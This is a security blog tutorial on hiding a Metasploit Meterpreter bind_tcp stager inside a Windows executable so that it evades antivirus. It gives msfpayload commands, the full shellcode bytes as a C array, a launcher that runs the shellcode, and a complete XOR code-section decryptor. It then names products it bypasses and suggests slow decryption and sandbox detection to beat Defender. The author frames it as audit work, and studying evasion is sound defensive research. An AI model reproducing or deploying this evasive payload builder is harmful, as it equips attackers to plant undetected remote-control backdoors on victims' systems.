You are here : Home » Learning security » Operating Systems » Windows » Hide meterpreter shellcode in executable

Hide meterpreter shellcode in executable

D 11 March 2014     H 16:10     A Emeric Nasi     C 1 messages


Note: To understand this document it is important to understand the code segment encyption article.
License : Copyright Emeric Nasi, some rights reserved
This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License.
Creative Commons License

I. Introduction.

As a security professional, I often have to audit the security of a system and demonstrate what malwares could do. A very simple way to do that is to use Metasploit Meterpreter. For those who doesn’t know Meterpreter (the Meta_Interpreter), it is a very advanced payload provided by the Metasploit framework. It provides all features one needs to own a system (privilege elevation, system shell, keylogger, dump password, network routing, disable AV, control webcam, etc).
I often need to generate an autonomous executable which includes this payload. The problem is that the classical way to generate Meterpreter executable is detected by AntiVirus and it is a pain (and not really realistic) to have to disable them. This article describes a way to bypass AV detection of Meterpreter by applying the "Code segment encryption" article.

Note : I will demonstrate this article examples by using the simple Meterpreter Bind_TCP shellcode (Open a server TCP socket on the host and waits for a connection from Metasploit client). Any other shellcode could be used.

II. Classic way to generate Meterpreter executable

II.1Generate binary

Normally the classic way to generate a Meterpreter executable is to use tools provided by Metasploit. The Msfpayload tool can be used for that. For example:
msfpayload windows/meterpreter/bind_tcp LPORT=80 X > met.exe
Here the X option is used to generate executable file.

The MsfPayload tool can also be combined with MsfEncode to generate encoded shellcodes. For example:
msfpayload windows/meterpreter/bind_tcp LPORT=80 R | ./msfencode -c 21 -t exe > met.exe

II.2 Drawbacks

This MsfEncode technique is often presented as a way to bypass AntiVirus analysis, this is however not true anymore. A good number of AntiVirus are able to recognized encoded shellcodes from Metasploit. Also some AntiVirus may have generated signature for executable generated with the X option of msfPayload (this is just a supposition tough).
Another reason why I do not like this method : I prefer to have non-encoded stagers. When I use reverse connection payloads, I want to be able to dynamically patch the shellcode distant IP address and port in the running executable. This isn’t easy if the shellcode is encoded.
For these reasons I prefer to build my own executable file which embeds the shellcode.

III. Put Meterpreter shellcode in C source

III.1 Generate shellcode

In a first step we are going to generate the Meterpreter shellcode. We are going to use the C option of MsfPayload which generates C source code.

msfpayload windows/meterpreter/bind_tcp LPORT=80 C > met.c

If you look inside the met.c file you will see shellcode buffers in C language. The stager is the first shellcode (the small one), it is the one we need to create the network connection. The full Meterpreter shellcode will be downloaded after connection is established. We will copy the stager in our source.

III.2 Source code

In this very basic example, we tell the application that our shellcode is a function and we call that function.

  2. /*
  3.  * windows/meterpreter/bind_tcp - 298 bytes (stage 1)
  4.  *
  5.  * VERBOSE=false, LPORT=80, RHOST=, EnableStageEncoding=false,
  6.  * PrependMigrate=false, EXITFUNC=process, AutoLoadStdapi=true,
  7.  * InitialAutoRunScript=, AutoRunScript=, AutoSystemInfo=true,
  8.  * EnableUnicodeEncoding=true
  9.  */
  10. unsigned char buf[] =
  11. "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
  12. "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
  13. "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
  14. "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
  15. "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
  16. "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
  17. "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
  18. "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
  19. "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
  20. "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
  21. "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
  22. "\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
  23. "\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31"
  24. "\xdb\x53\x68\x02\x00\x00\x50\x89\xe6\x6a\x10\x56\x57\x68\xc2"
  25. "\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5\x53"
  26. "\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97\x68\x75\x6e\x4d"
  27. "\x61\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
  28. "\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58"
  29. "\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
  30. "\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3";
  33. /* Launch the meterpreter shellcode */
  34. int main()
  35. {
  36. /* Declare pointer on function */
  37. int (*func) ();
  39. /* Cast shellcode into function */
  40. func = (int (*) ()) buf;
  42. /* Call function (Execute shellcode) */
  43. (int) (*func) ();
  44. }

We now have our own executable running Meterpreter, however this is not enough to bypass AV (the shellcode will be easily recognized in the generated binary file). This is why we are going to use section encryption technique explained in code segment encyption article

IV. Bypass AV

We are going to encrypt both the executable code (what is in main function) and the data (the shellcode).

IV.1 Encrypt source code

The source code is normally in the .text section. Since encrypting the whole .text section can be considered to be a malware for some AV, I will just encrypt the code needed to launch the shell code using a new code section, .code.

  1. // Create a new executable section
  2. #pragma section(".code",execute, read, write)
  3. #pragma comment(linker,"/SECTION:.code,ERW")
  5. // From here executable code will go in .code section
  6. #pragma code_seg(".code")
  7. ...
  8. /* Launch the meterpreter shellcode */
  9. int shellLaunch()
  10. {
  11. ...
  12. }

Note that the old main function is now called shellLaunch. Since we encrypt only part of the .text section we can just define a new main function that will contain the decryptor part.

IV.2 Encrypt shellcode

The shellcode is an array, it will be located in the .data section. Since we only want to encrypt a portion of .data section we will need to create a new data segment for that (.codedata). We will then merge the .codedata in to the .code section. The .code section being the section encrypted by cryptor in the Encrypt code segment article.

  1. // Create a new section (must not be executable or else not considered as data)
  2. #pragma section(".codedata", read, write)
  3. // Merge .codedata into .code (which will be encrypted by cryptor)
  4. #pragma comment(linker,"/MERGE:.codedata=.code")
  6. // This will put all following constants and global variables in .codedata segment
  7. #pragma data_seg(".codedata")
  8. #pragma const_seg(".codedata")

I also use .codedata as a constant section, this will allow to encrypt strings you could want to print.

IV.3 Complete source code including decryptor

Here is the complete C source code including the .Stub segment and the decryptor routine.

  2. #include <Windows.h>
  4. /* Declare new sections to store encrypted code and shellcode data */
  5. #pragma section(".code",execute, read, write)
  6. #pragma section(".codedata", read, write)
  7. // Merge .codedata into .code (which will be encrypted by cryptor)
  8. #pragma comment(linker,"/MERGE:.codedata=.code")
  9. // Declare .code as Executable, Read, Write section, this is necessary so application rewrites itself
  10. #pragma comment(linker,"/SECTION:.code,ERW")
  12. // This will put all following constants and global variables in .codedata segment
  13. #pragma data_seg(".codedata")
  14. #pragma const_seg(".codedata")
  15. // From here executable code will go in .code section
  16. #pragma code_seg(".code")
  18. /*
  19.  * windows/meterpreter/bind_tcp - 298 bytes (stage 1)
  20.  *
  21.  * VERBOSE=false, LPORT=80, RHOST=, EnableStageEncoding=false,
  22.  * PrependMigrate=false, EXITFUNC=process, AutoLoadStdapi=true,
  23.  * InitialAutoRunScript=, AutoRunScript=, AutoSystemInfo=true,
  24.  * EnableUnicodeEncoding=true
  25.  */
  26. unsigned char buf[] =
  27. "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
  28. "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
  29. "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
  30. "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
  31. "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
  32. "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
  33. "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
  34. "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
  35. "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
  36. "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
  37. "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
  38. "\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
  39. "\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31"
  40. "\xdb\x53\x68\x02\x00\x00\x50\x89\xe6\x6a\x10\x56\x57\x68\xc2"
  41. "\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5\x53"
  42. "\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97\x68\x75\x6e\x4d"
  43. "\x61\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
  44. "\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58"
  45. "\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
  46. "\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3";
  49. /* Launch the meterpreter shellcode */
  50. int shellLaunch()
  51. {
  52. /* Declare pointer on function */
  53. int (*func) ();
  55. /* Cast shellcode into function */
  56. func = (int (*) ()) buf;
  58. /* Call function (Execute shellcode) */
  59. (int) (*func) ();
  60. }
  63. // .stub SECTION , the following part is not encrypted.
  64. #pragma section(".stub", execute, read, write)
  65. #pragma code_seg(".stub")
  66. #pragma section(".stubdata", read, write)
  67. // Merge .stubdata into .stub (decryption part)
  68. #pragma comment(linker,"/MERGE:.stubdata=.stub")
  70. // This will put out strings and global variables in .stubdata segment
  71. #pragma data_seg(".stubdata")
  72. #pragma const_seg(".stubdata")
  73. // Executable code will go in .stub section
  74. #pragma code_seg(".stub")
  77. // Next data are signature recognized by cryptor to patch the target
  78. #define CODE_BASE_ADDRESS 0x15151515
  79. #define CODE_SIZE 0x14141414
  81. /* Decrypt .code block encrypted by cryptor */
  82. /* In this function do not declare array to avoid security cookies checks (see */
  83. /* Or disable security check (GS- option) on prog compilation */
  84. void decryptCodeSection()
  85. {
  86. unsigned char *ptr;
  87. long int i;
  88. long int nbytes;
  89. DWORD patience;
  90. DWORD codeAddr;
  92. int cpt = 0;
  94. BYTE key[] = { 'a','b','a','b','a','b','a','b','\0'};
  95. int keyLength = 8;
  96. ptr = (unsigned char *)CODE_BASE_ADDRESS;
  97. nbytes = CODE_SIZE;
  99. // Decrypt code segment
  100. for( i = 0 ; i < nbytes ; i++ )
  101. {
  102. ptr[i]=ptr[i]^key[cpt];
  103. cpt = cpt + 1;
  104. if(cpt == keyLength)
  105. cpt = 0;
  106. }
  107. return;
  108. }
  110. int main()
  111. {
  112. decryptCodeSection();
  113. shellLaunch(); /* Call function which executes shellcode now that it is decrypted */
  114. return 0;
  115. }


IV.4 Other considerations

The result of the encryption is enough to bypass the AV such as Avira, McAffee, Norton or Avast.
This is however not enough to bypass AntiVirus which loads the software in memory such as Microsoft Defender. This kind or AV will run their target in a virtual environment , that means the code will be self decrypted, and after that the AV will recognize the shellcode signature. This was actually something quite surprising for me to see, for this case at least: Microsoft had a "better" security product.
There are some ways to bypass this category of AV, for example by using a decryptor that takes some time to decrypt. If the decryptor method is coded in a way that you need to wait a few seconds before shellcode is decrypted, the AV will abandon the scan after a while.There are several ways to do it, for example using special time challenge decryption algorithm. A simple Sleep will not do the trick and be ignored by the AV.
Another way to bypass this AV technique is to detect the software is running in a sandbox environment and to trick the AV if it is the case.

I wrote a paper on this subject with description of fully undetectable methods. You can find it here

1 Forum posts

Any message or comments?

This forum is moderated before publication: your contribution will only appear after being validated by an administrator.

Who are you?
Your post